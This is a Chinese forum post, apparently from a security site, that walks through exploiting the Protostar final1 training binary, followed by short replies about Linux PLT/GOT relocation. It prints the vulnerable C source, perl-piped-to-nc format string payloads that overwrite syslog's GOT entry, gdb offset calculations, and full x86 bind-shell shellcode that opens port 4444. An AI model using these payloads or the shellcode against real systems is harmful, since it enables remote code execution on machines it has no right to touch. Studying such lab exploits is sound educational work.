首页
社区
课程
招聘
[旧帖] [原创]linux 漏洞利用(基于protostar final1) 0.00雪花
发表于: 2014-8-20 17:02 2336

[旧帖] [原创]linux 漏洞利用(基于protostar final1) 0.00雪花

2014-8-20 17:02
2336
windows与linux的不同点之一,是对导入函数的定位,
windows是通过导入表来实现的,由windows pe加载器动态填入IAT
而linux是通过PLT GOT ,在程序首次调用某个外部导入函数时,动态设置导入函数对应的GOT项
该GOT项是一个函数指针,同时可以被改写,所以可以达到劫持控制流的目的
存在漏洞的程序的源码如下
#include "../common/common.c"

#include <syslog.h>

#define NAME "final1"
#define UID 0
#define GID 0
#define PORT 2994

char username[128];
char hostname[64];

void logit(char *pw)
{
 char buf[512];

 snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n", hostname, username, pw);

 syslog(LOG_USER|LOG_DEBUG, buf);
}

void trim(char *str)
{
 char *q;

 q = strchr(str, '\r');
 if(q) *q = 0;
 q = strchr(str, '\n');
 if(q) *q = 0;
}

void parser()
{
 char line[128];

 printf("[final1] $ ");

 while(fgets(line, sizeof(line)-1, stdin)) {
  trim(line);
  if(strncmp(line, "username ", 9) == 0) {
   strcpy(username, line+9);
  } else if(strncmp(line, "login ", 6) == 0) {
   if(username[0] == 0) {
    printf("invalid protocol\n");
   } else {
    logit(line + 6);
    printf("login failed\n");
   }
  }
  printf("[final1] $ ");
 }
}

void getipport()
{
 int l;
 struct sockaddr_in sin;

 l = sizeof(struct sockaddr_in);
 if(getpeername(0, &sin, &l) == -1) {
  err(1, "you don't exist");
 }

 sprintf(hostname, "%s:%d", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port));
}

int main(int argc, char **argv, char **envp)
{
 int fd;
 char *username;

 /* Run the process as a daemon */
 background_process(NAME, UID, GID); 

 /* Wait for socket activity and return */
 fd = serve_forever(PORT);

 /* Set the client socket to STDIN, STDOUT, and STDERR */
 set_io(fd);

 getipport();
 parser();

}


经过分析发现,logit()函数存在格式化字符串漏洞。漏洞原因是直接将用户传入的username字符串作为参数传递给snprintf函数。代码位置如下:
strcpy(username, line+9);
snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n", hostname, username, pw);

漏洞利用要做的是:
1.        通过格式化字符串漏洞,覆盖GOT中syslog函数地址,并将syslog函数地址改为shellcode地址
2.        产生并定位shellcode地址。
攻击过程:
1.        在一个终端中查看syslog函数记录的数据,命令如下:
tail -f /var/log/syslog | grep final1
2.        定位format string参数的位置(即AAAA的位置),以便覆盖
命令:perl -e 'print "username "."X"."AAAA"."BBBB"."CCCC"."DDDD"."%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x."."\nlogin B\n"' | nc localhost 2994

Syslog记录数据为:

所以AAAA为第15个参数。
3.        获得syslog函数GOT地址

4.        生成shellcode


5.        通过格式化字符串漏洞覆盖GOT syslog函数地址
perl -e 'print "username "."X"."\x1c\xa1\x04\x08"."\x1d\xa1\x04\x08"."\x1e\xa1\x04\x08"."\x1f\xa1\x04\x08"."%15\$n"."%16\$n"."%17\$n"."%18\$n"."\nlogin B"."username X\nlogin "."\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"."\n"' | nc localhost 2994
程序崩溃掉。


6.gdb加载core崩溃文件,找到shellcode地址


看到shellcode地址为0xbffffa19
7.        计算偏差,计算格式化字符串时应该输出的字符数。将syslog函数GOT内容改为0xbffffa19。
(gdb) p 0x119 - 0x30
$1 = 233
(gdb) p 0x1fa - 0x119
$2 = 225
(gdb) p 0x2ff - 0x1fa
$3 = 261
(gdb) p 0x3bf - 0x2ff
$4 = 192
8.        输入命令,开启shell
perl -e 'print "username "."X"."\x1c\xa1\x04\x08"."\x1d\xa1\x04\x08"."\x1e\xa1\x04\x08"."\x1f\xa1\x04\x08"."%233x%15\$n"."%225x%16\$n"."%261x%17\$n"."%192x%18\$n"."\nlogin B"."username X\nlogin "."\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"."\n"' | nc localhost 2994

看到已经打开了4444端口监听


nc连接,如下

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

上传的附件:
收藏
免费 0
支持
分享
最新回复 (6)
雪    币: 1552
活跃值: (1288)
能力值: ( LV9,RANK:160 )
在线值:
发帖
回帖
粉丝
2
linux漏洞利用入门,与windows不同的地方在于,linux有plt和GOT重定位机制
2014-8-20 17:03
0
雪    币: 0
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
哎,大部分内容看不懂,要走的路还很漫长啊
2014-8-20 17:06
0
雪    币: 1552
活跃值: (1288)
能力值: ( LV9,RANK:160 )
在线值:
发帖
回帖
粉丝
4
哪里看不懂呢
2014-8-20 17:26
0
雪    币: 1392
活跃值: (4867)
能力值: ( LV13,RANK:240 )
在线值:
发帖
回帖
粉丝
5
linux的重定位和windows的重定位有不同?

没接触过linux
2014-8-20 17:56
0
雪    币: 1552
活跃值: (1288)
能力值: ( LV9,RANK:160 )
在线值:
发帖
回帖
粉丝
6
windows与linux的不同点之一,是对导入函数的定位,
windows是通过导入表来实现的,由windows pe加载器动态填入IAT
而linux是通过PLT GOT ,在程序首次调用某个外部导入函数时,动态设置导入函数对应的GOT项
该GOT项是一个函数指针,同时可以被改写,所以可以达到劫持控制流的目的
2014-8-20 19:32
0
雪    币: 354
活跃值: (30)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
7
学习了,多谢
2014-8-27 22:49
0
游客
登录 | 注册 方可回帖
返回
//